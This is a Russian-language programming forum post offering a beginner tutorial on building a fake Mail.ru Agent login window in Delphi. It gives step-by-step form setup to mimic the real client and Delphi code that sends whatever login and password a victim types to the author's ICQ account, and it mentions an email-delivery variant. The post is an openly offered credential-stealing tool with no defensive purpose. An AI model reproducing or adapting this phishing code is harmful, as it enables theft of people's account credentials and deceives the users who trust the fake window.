Главная Написание фэйков на дельфи - Форум программистов и сисадминов
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум программистов и сисадминов » Программирование Delphi/С#С++/Assembler/Pascal/ » Delphi для новичков » Написание фэйков на дельфи (написание на дельфи лёгких фэйков)
Написание фэйков на дельфи
xakerOKДата: Понедельник, 03.05.2010, 14:22 | Сообщение № 1
Сержант
Группа: Администраторы
Сообщений: 21
Репутация: 256
Статус: Offline
В этой теме я приведу пример написания фэйка для майл агента. Суть заключается в том что программа вписанный логин и пароль будет присылать вам на icq(так же есть пример где лог и пасс посылается на почту).
Для этого фэйка нужен компонент TIcqClient и знание интерфейса Delphi. Для начала нужно создать форму и расположить на неё Panel и в Properties найти Align и сделать alClient, затем Form1 в Properties выбрать Autosize значение True и BiDiMode значение bdRightToLeftNoAlign.
Далее переходим к компонентам. Из начально вы должны были установить компонент TICQCLIENT в нете его найти проще всего. И так на форму кидаем Panel из вкладки Standart где Caption нужно удалить, затем размещаем два Еdit'та из вкладки Standart и в Properties убираем TEXT, потом остаётся добавить сам компонент TIcqClient во вкладке Samples, и два Leble из вкладки Standart и в Properties один Lable называем логин второй называем пароль. Так же нам понадобиться компонент ComboExItems из вкладки Win32( туда добовляем 4 items"а это делается в objectTreeeView там есть add item и добавляем итемзы @mail.ru @bk.ru @inbox.ru @list.ru)и кнопку с надписью подключиться, напоследок добавим компонент Image и загрузим в него картинку (как обычно белым цветом на синем фоне @MailAgent v 5.7) вот вроде и всё дальше переходим к коду!
Code
unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ComCtrls, ExtCtrls, ICQClient, ActnList;

type
   TForm1 = class(TForm)
     Panel1: TPanel;
     ComboBoxEx1: TComboBoxEx;
     Edit1: TEdit;
     Edit2: TEdit;
     Label1: TLabel;
     Label2: TLabel;
     RadioButton1: TRadioButton;
     Image1: TImage;
     Button1: TButton;
     Button2: TButton;
     ICQClient1: TICQClient;
     procedure Button1Click(Sender: TObject);
     procedure ICQClientLogin(Sender: TObject);//нужно написать это самому
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  ICQClient1.UIN := StrToInt('UIN') ;     {UIN с которого будет отправляться это может быть ваш левый уин специально зарегистрированный для этого}
  ICQClient1.Password :='ПАРОЛЬ'; {его пароль}
end;
procedure TForm1.ICQClientLogin(Sender: TObject);      {при подключении}
begin
  ICQClient1.SendMessage(123456789,Edit1.text + ComboBoxEx1.text + '::' + Edit2.text); {посылаем данные
  где 123456789 это уин на который будут отправляться данные то есть ваш рабочий уин}

end;

end.
 
Форум программистов и сисадминов » Программирование Delphi/С#С++/Assembler/Pascal/ » Delphi для новичков » Написание фэйков на дельфи (написание на дельфи лёгких фэйков)
  • Страница 1 из 1
  • 1
Поиск:

Copyright SLEM © 2018
Бесплатный хостинг uCoz